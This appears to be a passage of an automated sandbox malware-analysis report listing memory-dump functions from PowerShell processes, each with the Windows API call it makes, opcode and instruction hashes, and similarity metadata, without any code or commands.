Instruction ID: 4bda193b0029e53fd3d7efb7f442afd0a59696088f0b0acf561b18bdd36b55dc
Opcode Fuzzy Hash: 7d41a251a49b6f316469653a83012daaa66d0b5c2c86a81326a9979a8de7c2e1
Instruction Fuzzy Hash: 6511C2B64093809FDB11CF15DC85B92BFA4EF42224F0980ABDD488F153D274A508CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01E1BA32, Relevance: 1.5, APIs: 1, Instructions: 49fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?,?), ref: 01E1BA7E

Memory Dump Source

Source File: 00000017.00000002.2207880450.0000000001E1A000.00000040.00000001.sdmp, Offset: 01E1A000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 413389612cb27ef85d8f621338a88178b201834704ee5da1627dd85596a388af
Instruction ID: 91b11863d80450ca65874242c47aecbdecaf7ac64269a44036dd0dd2e2a4b62c
Opcode Fuzzy Hash: 413389612cb27ef85d8f621338a88178b201834704ee5da1627dd85596a388af
Instruction Fuzzy Hash: 9F117C72500700DFEB21CF55DC85B56FBF4EF08211F0884AADD498A616D271E414DB61

Uniqueness

Uniqueness Score: -1.00%

Function 01E1A1EE, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetConsoleTitleW.KERNEL32(?,00000E9C,?,?), ref: 01E1A23E

Memory Dump Source

Source File: 00000017.00000002.2207880450.0000000001E1A000.00000040.00000001.sdmp, Offset: 01E1A000, based on PE: false

Similarity

API ID: ConsoleTitle
String ID:
API String ID: 3358957663-0
Opcode ID: abb6e9340cf0f03069da6e85c708c80fd99c6ba8e11d6d80cde5be1d9be065b7
Instruction ID: 88cc992ab788b0f213deb6d9e7aadb0f87003c6cc044ced3c8efb1f38f2f7aef
Opcode Fuzzy Hash: abb6e9340cf0f03069da6e85c708c80fd99c6ba8e11d6d80cde5be1d9be065b7
Instruction Fuzzy Hash: 25018471940600AFE310DF16DC86B66FBA8FB84A20F14816AED089B741D235F915CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 0274104E, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000E9C,?,?), ref: 0274109E

Memory Dump Source

Source File: 00000017.00000002.2221833653.0000000002740000.00000040.00000001.sdmp, Offset: 02740000, based on PE: false

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 88d755c58f15e828fdc2ab8a8c9af6264e4d9e3bcbdd3d10ddacf1c9b935202a
Instruction ID: fbe5d6dc1bb738aee234a5a06dd9ac20e612a8286af6334af036cf8e386a13c6
Opcode Fuzzy Hash: 88d755c58f15e828fdc2ab8a8c9af6264e4d9e3bcbdd3d10ddacf1c9b935202a
Instruction Fuzzy Hash: 7B018472940600AFE350DF16DC86B66FBA8FB84B20F14816AED089B741D335F915CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 02740196, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

SetConsoleTitleW.KERNEL32(?), ref: 027401D0

Memory Dump Source

Source File: 00000017.00000002.2221833653.0000000002740000.00000040.00000001.sdmp, Offset: 02740000, based on PE: false

Similarity

API ID: ConsoleTitle
String ID:
API String ID: 3358957663-0
Opcode ID: ebd5ad07f99a30a46164474094570713681c08cf451fa20ce8792e891320c8c9
Instruction ID: 34149be7bf65d0461dc1644c951632e856fce1c75a9695b91097ff69a45c6c10
Opcode Fuzzy Hash: ebd5ad07f99a30a46164474094570713681c08cf451fa20ce8792e891320c8c9
Instruction Fuzzy Hash: 16015E72604744DFEB14DF65DC857AAFBA8EB01621F4884AADE09CB642EB74E404CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01E1BAFA, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetConsoleScreenBufferInfo.KERNEL32 ref: 01E1BB2F

Memory Dump Source

Source File: 00000017.00000002.2207880450.0000000001E1A000.00000040.00000001.sdmp, Offset: 01E1A000, based on PE: false

Similarity

API ID: BufferConsoleInfoScreen
String ID:
API String ID: 3437242342-0
Opcode ID: e8f5e15119efab7483e15c4d051ccbf61c28884fa3b932cbadf452a56ab7b86d
Instruction ID: a22bc11dfcdaedbcb7c33dcf2d0413d5d72c2a7b0969aa04df163032b6dbfd5c
Opcode Fuzzy Hash: e8f5e15119efab7483e15c4d051ccbf61c28884fa3b932cbadf452a56ab7b86d
Instruction Fuzzy Hash: 6E01DF72500600DFEB20CF19DC85BA9FBA4EF05621F48C4ABDD0A8B65AD275E804CB61

Uniqueness

Uniqueness Score: -1.00%

Function 027412FA, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

SetConsoleTextAttribute.KERNEL32(?,?), ref: 0274132F

Memory Dump Source

Source File: 00000017.00000002.2221833653.0000000002740000.00000040.00000001.sdmp, Offset: 02740000, based on PE: false

Similarity

API ID: AttributeConsoleText
String ID:
API String ID: 646522457-0
Opcode ID: bdc65f4440e65256cef9a1f1327d64846ac6051d195c9aa64ba20c0ae2e84e1b
Instruction ID: 5ef40ff0dc547f6404b0d13e9bd40430264dc170bf7bbe3f24e9a3e513efa3c4
Opcode Fuzzy Hash: bdc65f4440e65256cef9a1f1327d64846ac6051d195c9aa64ba20c0ae2e84e1b
Instruction Fuzzy Hash: 9F01DF72500300DFEF20DF15DC857A5FBA4EF05625F88C4AADC098B642D775E844CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01E1A8FA, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

VerLanguageNameW.KERNELBASE(?,00000E9C,?,?), ref: 01E1A94A

Memory Dump Source

Source File: 00000017.00000002.2207880450.0000000001E1A000.00000040.00000001.sdmp, Offset: 01E1A000, based on PE: false

Similarity

API ID: LanguageName
String ID:
API String ID: 2060303382-0
Opcode ID: d8ee8e3b5341359110920bc2768a61782d62ce401b0c301438a563d382644fed
Instruction ID: 34770162a6f1a1dc0d6a52cd732e810e7002964add9d050a5fa3d8680c0f5b25
Opcode Fuzzy Hash: d8ee8e3b5341359110920bc2768a61782d62ce401b0c301438a563d382644fed
Instruction Fuzzy Hash: B9018672940600ABE350DF16DC86B26FBB4FB89B20F14815AED085B741D275F915CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 02740F76, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNELBASE(?), ref: 02740FB0

Memory Dump Source

Source File: 00000017.00000002.2221833653.0000000002740000.00000040.00000001.sdmp, Offset: 02740000, based on PE: false

Similarity

API ID: DriveType
String ID:
API String ID: 338552980-0
Opcode ID: e6485f54c8e0816280180e29765c620b37c5229e8cb60f8fe666ba4595551ceb
Instruction ID: 6fed16d61176dfdc501e8e619f61cd1e1616b8cfd7407461874d27eba1b9c877
Opcode Fuzzy Hash: e6485f54c8e0816280180e29765c620b37c5229e8cb60f8fe666ba4595551ceb
Instruction Fuzzy Hash: 28017C71504340DFEB10DF15D885B66FB94EB02621F4885AADD488F246E774E404CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 027404B2, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(?,00000E9C,?,?), ref: 02740502

Memory Dump Source

Source File: 00000017.00000002.2221833653.0000000002740000.00000040.00000001.sdmp, Offset: 02740000, based on PE: false

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 57383b5f5c640ebed8d476effc8a048bfc55fda7630e1a55fafc9a1691ab4706
Instruction ID: ea39c56a2a3339b9b1e2a7034f3eb6f4f65c870f6c4dfa6c38f52abeab6ee1f1
Opcode Fuzzy Hash: 57383b5f5c640ebed8d476effc8a048bfc55fda7630e1a55fafc9a1691ab4706
Instruction Fuzzy Hash: 8D018672940600ABE350DF16DC86F26FBB4FB89B20F14815AED085B741D275F915CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 0274060E, Relevance: 1.5, APIs: 1, Instructions: 39fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNELBASE(?), ref: 02740640

Memory Dump Source

Source File: 00000017.00000002.2221833653.0000000002740000.00000040.00000001.sdmp, Offset: 02740000, based on PE: false

Similarity

API ID: FileUnmapView
String ID:
API String ID: 2564024751-0
Opcode ID: 996832e380ca438d2157ef404b474bb0542c6beb8ddd03210e2f29d11e3def30
Instruction ID: 157c4acaec81b9058cf32bf1db3c08cdbbf8bec3e2122b69d9a59bd9c3f1304d
Opcode Fuzzy Hash: 996832e380ca438d2157ef404b474bb0542c6beb8ddd03210e2f29d11e3def30
Instruction Fuzzy Hash: BC01F435500700CFEB108F15DC85761FBA0DF41621F08C0AADD0A8B752D774E804DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 01E1AB9A, Relevance: 1.5, APIs: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNELBASE ref: 01E1ABC9

Memory Dump Source

Source File: 00000017.00000002.2207880450.0000000001E1A000.00000040.00000001.sdmp, Offset: 01E1A000, based on PE: false

Similarity

API ID: DrivesLogical
String ID:
API String ID: 999431828-0
Opcode ID: ad1ad286af4643f0e9737da28ff061e06d102e1cb3d7f665870efc4d671ab256
Instruction ID: 9486cea1df981c2d49d42d62f5f6dafd4a007d2d3d67cde6e07037fbbd1909b3
Opcode Fuzzy Hash: ad1ad286af4643f0e9737da28ff061e06d102e1cb3d7f665870efc4d671ab256
Instruction Fuzzy Hash: E301FF31405380CFEB10DF19DC89BA9FBA4EF44221F48C4BBCD098F20AE274A404CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 02741116, Relevance: 1.5, APIs: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

SetThreadUILanguage.KERNEL32(?), ref: 02741148

Memory Dump Source

Source File: 00000017.00000002.2221833653.0000000002740000.00000040.00000001.sdmp, Offset: 02740000, based on PE: false

Similarity

API ID: LanguageThread
String ID:
API String ID: 243849632-0
Opcode ID: 2d1f9cdbebaf640048fb5c05b1cb417eb1697ed293e6b20ec2f8b999b61b1faf
Instruction ID: 01b50a16121121e7953d56f20569cefc3b426d816322e766137fd7413434bff7
Opcode Fuzzy Hash: 2d1f9cdbebaf640048fb5c05b1cb417eb1697ed293e6b20ec2f8b999b61b1faf
Instruction Fuzzy Hash: 76F0AF35500740DFEB20DF05DC85765FBA4EF05A22F88C09ADD494B316DB75A884CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 01E1A36A, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 01E1A39C

Memory Dump Source

Source File: 00000017.00000002.2207880450.0000000001E1A000.00000040.00000001.sdmp, Offset: 01E1A000, based on PE: false

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: ee2a1d8eda26a31a06852fe1dc429a2e8325484d35525b4f57c3f70fd9aa85ff
Instruction ID: 09c11c8e98b3fec801f00650d7af7a4b29283d243ea0495898d4e614f9427ba0
Opcode Fuzzy Hash: ee2a1d8eda26a31a06852fe1dc429a2e8325484d35525b4f57c3f70fd9aa85ff
Instruction Fuzzy Hash: B1F0AF35505780DFEB209F05D885769FBA0EF45725F48D0AADD094B31AD3B5A804DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0274096A, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 0274099C

Memory Dump Source

Source File: 00000017.00000002.2221833653.0000000002740000.00000040.00000001.sdmp, Offset: 02740000, based on PE: false

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 009b2780a84fbcfdd2cffdfa5d7ef111a464e45f21d8043eac795bb7e460b4a8
Instruction ID: f70a0c916b360af33c17f26c598ff66a627b87a672d2736ad77cd81b84924130
Opcode Fuzzy Hash: 009b2780a84fbcfdd2cffdfa5d7ef111a464e45f21d8043eac795bb7e460b4a8
Instruction Fuzzy Hash: DCF0A935904740DFEB209F16D889766FBA0EF15621F48C09ADE494B316D775A808CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 01E1AA42, Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 01E1AA71

Memory Dump Source

Source File: 00000017.00000002.2207880450.0000000001E1A000.00000040.00000001.sdmp, Offset: 01E1A000, based on PE: false

Similarity

API ID: ConsoleOutput
String ID:
API String ID: 3985236979-0
Opcode ID: e7a77bcde7e9de6e0a345082e2246e6e427936c67e8ace90ebbc7e74622fdf22
Instruction ID: a40f6d745c359398d19e8fe247ae7e32d8bb8eff7fd0ee36ff6dafec884a0277
Opcode Fuzzy Hash: e7a77bcde7e9de6e0a345082e2246e6e427936c67e8ace90ebbc7e74622fdf22
Instruction Fuzzy Hash: 11F0F632505780CFEB20DF05D985765FB90DF45625F48C0AADD094F346D274E544CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 01E1A974, Relevance: 1.3, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?), ref: 01E1A9C8

Memory Dump Source

Source File: 00000017.00000002.2207880450.0000000001E1A000.00000040.00000001.sdmp, Offset: 01E1A000, based on PE: false

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 1454675939ceac45889266a7b8dfc0d5a144f1a2066d7d7f1c10052fb358ef1e
Instruction ID: ceaaa3479031532a926a822eb7c6ff6487b388fc7ecfb74d1277f43c8969cf38
Opcode Fuzzy Hash: 1454675939ceac45889266a7b8dfc0d5a144f1a2066d7d7f1c10052fb358ef1e
Instruction Fuzzy Hash: 2C1191725093C09FD712CB25DD85B96BFA4DF42225F0980ABED458B252D275A808CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01E1A996, Relevance: 1.3, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?), ref: 01E1A9C8

Memory Dump Source

Source File: 00000017.00000002.2207880450.0000000001E1A000.00000040.00000001.sdmp, Offset: 01E1A000, based on PE: false

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 10e32affc9d254876cd039bab9c79285a0fce0e0b9ea4e97eb4e6aed5c4d02e0
Instruction ID: 98a6dd76a7109395b48f77b242288ce82ac97ca38d91e66cc47a9ec9047cdf71
Opcode Fuzzy Hash: 10e32affc9d254876cd039bab9c79285a0fce0e0b9ea4e97eb4e6aed5c4d02e0
Instruction Fuzzy Hash: 6701F276501780CFEB10DF19DD857AAFB94DF44221F48C0BBDC098B246D275E844CB61

Uniqueness

Uniqueness Score: -1.00%

Function 02B70860, Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2224015294.0000000002B70000.00000040.00000040.sdmp, Offset: 02B70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21edc90aa2dc7a4877e6374af62debcedec8f90561ee58c6c1570401d79291e6
Instruction ID: bce23635563cb85d7fc39375432ba96e2e9fa6c145abf6eccb15c08e236972e7
Opcode Fuzzy Hash: 21edc90aa2dc7a4877e6374af62debcedec8f90561ee58c6c1570401d79291e6
Instruction Fuzzy Hash: 16F028B75483404FD3159F05EC41491BBA4DF46630719C4EBDC58CB353E125FA08CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02B707F7, Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2224015294.0000000002B70000.00000040.00000040.sdmp, Offset: 02B70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b733aec34947fb3edac4cfd79c42c56e94c15db3b3e3772d10ef9d7174d15242
Instruction ID: 4dc9ba421b96dea02814d988dbaaa9dec9cf11e7b9e6acaab56e940036ca6083
Opcode Fuzzy Hash: b733aec34947fb3edac4cfd79c42c56e94c15db3b3e3772d10ef9d7174d15242
Instruction Fuzzy Hash: A6F0A9765497809FD7118B15EC41853FFA8DF47670B09C4ABEC898B212D165B909CB61

Uniqueness

Uniqueness Score: -1.00%

Function 02B7081E, Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2224015294.0000000002B70000.00000040.00000040.sdmp, Offset: 02B70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acc5943a7f4f413dc5e730d0bb2b1973581fbb5a2cc0c83861c970e3ee5357f5
Instruction ID: a257662292491642f673641a7825a1d9edb5a4b22f95252236c86e317eec2545
Opcode Fuzzy Hash: acc5943a7f4f413dc5e730d0bb2b1973581fbb5a2cc0c83861c970e3ee5357f5
Instruction Fuzzy Hash: 47E092766407008BD750CF0AEC81452F794EB84A31B58C07FDC0D8B700E135B904CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 05040879, Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2248842621.0000000005040000.00000040.00000001.sdmp, Offset: 05040000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0d672ce236f3b94ded6206ad8cb48b9ae684bc6b23ed857c1cee7012cb2d3be
Instruction ID: d140d78410ea80c5b94f9e162809176c2f98e9b6398aab2ac66e5eb222384a6e
Opcode Fuzzy Hash: c0d672ce236f3b94ded6206ad8cb48b9ae684bc6b23ed857c1cee7012cb2d3be
Instruction Fuzzy Hash: 8BD02B3130420252020974ACB4948AD638799E9154314023ED2418F21CEB90DC4243C9

Uniqueness

Uniqueness Score: -1.00%

Function 01E123F4, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2207865982.0000000001E12000.00000040.00000001.sdmp, Offset: 01E12000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 454c865f6aa18aaead8ae4dbec608dc0f9d78118728c58577f670aff387d38c2
Instruction ID: 1b1e8cd3169a871101bdab1f01de29ffca6a9166ec9c8d32a6e34ad61b90b1ac
Opcode Fuzzy Hash: 454c865f6aa18aaead8ae4dbec608dc0f9d78118728c58577f670aff387d38c2
Instruction Fuzzy Hash: BBD05E79244A828FE7168A1CC5A4B993BE4AF55B08F5644F9E940CB6A7C768F581E200

Uniqueness

Uniqueness Score: -1.00%

Function 01E123BC, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2207865982.0000000001E12000.00000040.00000001.sdmp, Offset: 01E12000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5832d008ec29af4191079fb232818c33a450154c874a0e7564178bc199a6c6d2
Instruction ID: 408340f2c8b34bad76bef99c00e63f1562d78fcaab3371e7cf2e78f5adf11cf5
Opcode Fuzzy Hash: 5832d008ec29af4191079fb232818c33a450154c874a0e7564178bc199a6c6d2
Instruction Fuzzy Hash: 66D05E343006828FEB15CA1CC994F5D77E4AF40704F1644E8BD008B26AC3A4E880D600

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: powershell.exe PID: 2656 Parent PID: 2948 powershell.exeCOMMON

Executed Functions

Function 0033ACB7, Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 0033AD37

Memory Dump Source

Source File: 00000019.00000002.2210157279.000000000033A000.00000040.00000001.sdmp, Offset: 0033A000, based on PE: false

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: ce9769e1ce2a7bc308c6fd385d0e772f91caf655aac998d3dc2e47d68a544d66
Instruction ID: febc9d84965ffeb131408a36752000884141c8598dd932e4eb6273cdb97d00e0
Opcode Fuzzy Hash: ce9769e1ce2a7bc308c6fd385d0e772f91caf655aac998d3dc2e47d68a544d66
Instruction Fuzzy Hash: D621D1765097809FEB238F25DC44B92BFB4EF16310F0984DAE9858B563D3319908DB62

Uniqueness

Uniqueness Score: -1.00%

Function 0033ACEE, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 0033AD37

Memory Dump Source

Source File: 00000019.00000002.2210157279.000000000033A000.00000040.00000001.sdmp, Offset: 0033A000, based on PE: false

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: fd6649da3bc281ea94c6d487b4ed6a7ff2d8f6d9e3e1d9fb4846180aebaf75ab
Instruction ID: 2f1658663c504a8ca2ff30bb30fe2e8757037482af17c0858c2d5fc762ddb3cb
Opcode Fuzzy Hash: fd6649da3bc281ea94c6d487b4ed6a7ff2d8f6d9e3e1d9fb4846180aebaf75ab
Instruction Fuzzy Hash: 3B115E75500B049FEB21CF55D884B96FBE4EF04321F08C46AED898BA62D331E814DB62

Uniqueness

Uniqueness Score: -1.00%

Function 0033B2CC, Relevance: 1.6, APIs: 1, Instructions: 50nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(?,?,?,?), ref: 0033B329

Memory Dump Source

Source File: 00000019.00000002.2210157279.000000000033A000.00000040.00000001.sdmp, Offset: 0033A000, based on PE: false

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: f17a8ce31a42ab0bb47374ff1b54900d81469a01e860f24fa9b6af2f2031c8d0
Instruction ID: 38b5cd4608aa8f8e83f7cf7b8f3774d055e0799cd013c91cbe0cba480f533fe7
Opcode Fuzzy Hash: f17a8ce31a42ab0bb47374ff1b54900d81469a01e860f24fa9b6af2f2031c8d0
Instruction Fuzzy Hash: 1411E031008380AFDB228F11DC49F52FFB0EF06324F09C08AEE844B262C275A808CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0033B2EE, Relevance: 1.5, APIs: 1, Instructions: 38nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(?,?,?,?), ref: 0033B329

Memory Dump Source

Source File: 00000019.00000002.2210157279.000000000033A000.00000040.00000001.sdmp, Offset: 0033A000, based on PE: false

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 0cff4ccf7b9ba0f650120061b31cca3251373ef79c0828c2b4addbf291d9744b
Instruction ID: 14067a4e1fd4ecd72a0bb87b37acdeaf1501a5a149cfc191fa63c870fb0ce235
Opcode Fuzzy Hash: 0cff4ccf7b9ba0f650120061b31cca3251373ef79c0828c2b4addbf291d9744b
Instruction Fuzzy Hash: 4C01AD35400704DFEB218F05DC89B61FBA0EF14720F08C09ADE890B612D371A918DB62

Uniqueness

Uniqueness Score: -1.00%

Function 027D0118, Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

SetConsoleTitleW.KERNEL32(?), ref: 027D01D0

Memory Dump Source

Source File: 00000019.00000002.2235540579.00000000027D0000.00000040.00000001.sdmp, Offset: 027D0000, based on PE: false

Similarity

API ID: ConsoleTitle
String ID:
API String ID: 3358957663-0
Opcode ID: bae0dc3cb4a892ff5daee606f040ba5ee8e2f9ed02d7a9d4ba9290562f08d9ab
Instruction ID: 69ad2c7612bdeb99684bd5c401c48c6895add06a318681e6254af742d8f9ce69
Opcode Fuzzy Hash: bae0dc3cb4a892ff5daee606f040ba5ee8e2f9ed02d7a9d4ba9290562f08d9ab
Instruction Fuzzy Hash: 7231396650E3C08FE7138B759C65692BFB4AF43314F0E84DBD884CF1A3D6659809DB62

Uniqueness

Uniqueness Score: -1.00%

Function 027D067A, Relevance: 1.6, APIs: 1, Instructions: 93fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 027D072D

Memory Dump Source

Source File: 00000019.00000002.2235540579.00000000027D0000.00000040.00000001.sdmp, Offset: 027D0000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 3a02b9db40ed5d36e5b3445922e7f03d10152385e05c27ad597abf52ac2e46db
Instruction ID: 7177a4a8424955250fb07926d91796501869fa312a934aef4c245994ce71a61f
Opcode Fuzzy Hash: 3a02b9db40ed5d36e5b3445922e7f03d10152385e05c27ad597abf52ac2e46db
Instruction Fuzzy Hash: D2318271504380AFE722CF65CC45F52BFF8EF05324F09849EE9848B292D335A908CB61

Uniqueness

Uniqueness Score: -1.00%

Function 027D0D32, Relevance: 1.6, APIs: 1, Instructions: 89registryCOMMON

Download Yara Rule

APIs

RegisterEventSourceW.ADVAPI32(?), ref: 027D0DD6

Memory Dump Source

Source File: 00000019.00000002.2235540579.00000000027D0000.00000040.00000001.sdmp, Offset: 027D0000, based on PE: false

Similarity

API ID: EventRegisterSource
String ID:
API String ID: 1693822063-0
Opcode ID: 5cd32ffe351726c0544a40a944068c9b13e51af56f14a1f3bc30b1a2bddb360e
Instruction ID: db8262305efe8d6dabbc400b48068c8759dca7a44ac486e3c98e130124256df6
Opcode Fuzzy Hash: 5cd32ffe351726c0544a40a944068c9b13e51af56f14a1f3bc30b1a2bddb360e
Instruction Fuzzy Hash: AC3184B1509380AFE712CB25DC45B96BFF8DF06314F0884AAE984CB293D375A905CB76

Uniqueness

Uniqueness Score: -1.00%

Function 0033AF24, Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000E9C,17BDA4A5,00000000,00000000,00000000,00000000), ref: 0033AFBE

Memory Dump Source

Source File: 00000019.00000002.2210157279.000000000033A000.00000040.00000001.sdmp, Offset: 0033A000, based on PE: false

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: 5346c3abad7b3eabe86c067d276a0dfeaf22269b81a9002adf2b9f3a75356383
Instruction ID: 5883ad0a9b2d224ff8ab68eb6a51a9bbc4544b884d5a63cc1ba555829d50cf61
Opcode Fuzzy Hash: 5346c3abad7b3eabe86c067d276a0dfeaf22269b81a9002adf2b9f3a75356383
Instruction Fuzzy Hash: F421A5B2509380AFE7128F61DC45B96BFB8EF06320F0984DAE984DB193D3659949C761

Uniqueness

Uniqueness Score: -1.00%

Function 0033BD1E, Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(?,00000E9C,17BDA4A5,00000000,00000000,00000000,00000000), ref: 0033BDBC

Memory Dump Source

Source File: 00000019.00000002.2210157279.000000000033A000.00000040.00000001.sdmp, Offset: 0033A000, based on PE: false

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 6adf332af6c9fb8fbf9908096ff1c6ed769e8ff56354f6d61d31707080d210ed
Instruction ID: 2792593a901c88ce4843eae2b77f8860424cd46376d214e2a1150f632aa76b95
Opcode Fuzzy Hash: 6adf332af6c9fb8fbf9908096ff1c6ed769e8ff56354f6d61d31707080d210ed
Instruction Fuzzy Hash: 62318471509380AFE712CB61DC55F96BFB8EF06310F09859BE985DB192D225A908C761

Uniqueness

Uniqueness Score: -1.00%

Function 027D0FEE, Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000E9C,?,?), ref: 027D109E

Memory Dump Source

Source File: 00000019.00000002.2235540579.00000000027D0000.00000040.00000001.sdmp, Offset: 027D0000, based on PE: false

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: ca3bbf803f76e489948733ac8ec02ad54d19506c7ab630d3b0da024c23bc243e
Instruction ID: 6289fd3875d49c559f7462b08f683799e8dfdd3ea389016dab72ca2f5da3927d
Opcode Fuzzy Hash: ca3bbf803f76e489948733ac8ec02ad54d19506c7ab630d3b0da024c23bc243e
Instruction Fuzzy Hash: C231717550E3C06FD3138B358C55B56BFB4AF43610F1A81DBD884CF2A3D629A909C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 0033B01D, Relevance: 1.6, APIs: 1, Instructions: 82COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,00000E9C,17BDA4A5,00000000,00000000,00000000,00000000), ref: 0033B0AE

Memory Dump Source

Source File: 00000019.00000002.2210157279.000000000033A000.00000040.00000001.sdmp, Offset: 0033A000, based on PE: false

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: aebb3136a286aff1d26df8e2f0b6537dbf933b28f8fb009053d6182f5e42f655
Instruction ID: bff468ef33c64919b83ab441fd940d269e4e5c80ee2ac6bbdd24ad44776d8040
Opcode Fuzzy Hash: aebb3136a286aff1d26df8e2f0b6537dbf933b28f8fb009053d6182f5e42f655
Instruction Fuzzy Hash: 5A219171505380AFE722CF15CC45FA7FFA8EF06320F09849AE945DB152D764A908CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0033A1A8, Relevance: 1.6, APIs: 1, Instructions: 79COMMON

Download Yara Rule

APIs

SetConsoleCtrlHandler.KERNEL32(?,00000E9C,?,?), ref: 0033A23E

Memory Dump Source

Source File: 00000019.00000002.2210157279.000000000033A000.00000040.00000001.sdmp, Offset: 0033A000, based on PE: false

Similarity

API ID: ConsoleCtrlHandler
String ID:
API String ID: 1513847179-0
Opcode ID: fa0702dafb66beafcbe95a98a43ae05d3470c961089304bf8a590b1ac8cd88f8
Instruction ID: b1e410d4ac47b3b0a853afa1531bb24501a05577e71ece9d940614873177693b
Opcode Fuzzy Hash: fa0702dafb66beafcbe95a98a43ae05d3470c961089304bf8a590b1ac8cd88f8
Instruction Fuzzy Hash: 3F21A77140D3C06FD312CB258C55B66BFB4EF47620F1981DBD884CF693D229A919C7A2

Uniqueness

Uniqueness Score: -1.00%

